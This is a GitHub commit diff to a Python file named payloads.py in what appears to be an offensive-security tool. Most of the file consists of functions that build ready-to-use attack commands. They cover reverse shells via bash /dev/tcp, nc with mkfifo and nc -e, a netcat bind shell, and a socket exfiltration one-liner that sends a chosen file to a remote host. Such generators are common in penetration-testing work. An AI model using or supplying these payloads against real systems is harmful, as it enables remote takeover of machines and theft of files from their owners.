Update payloads.py

main
witchdocsec 2023-08-06 16:20:50 +01:00 committed by GitHub
parent 4b48aa62de
commit 978db091eb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 20 additions and 2 deletions

View File

@ -1,7 +1,15 @@
class Shells:
class Rev:
def bash(ip,port,shell,protocol):
return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\";"
def bash(ip,port,protocol):
return f"bash -c \\\"/bin/bash -i >& /dev/{protocol}/{ip}/{port} 0>&1 &\\\"; "
def nc(ip,port,protocol):
return f"bash -c \\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f &\\\"; "
def nce(ip,port,protocol):
return f"bash -c \\\"nc {ip} {port} -e /bin/bash &\\\" ;"
class Bind:
def ncbind(ip,port,protocol):
return f"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l {ip} {port} > /tmp/f &; "
class Exfil:
def socket(ip,port,file):
return f"cat {file} &> /dev/tcp/{ip}/{port} ;"
@ -11,3 +19,13 @@ class Exfil:
func_dict = {
'bash':Shells.Rev.bash,
'nc':Shells.Rev.nc,
'nce':Shells.Rev.nce
}
func_dict2 = {
'nc':Shells.Bind.ncbind
}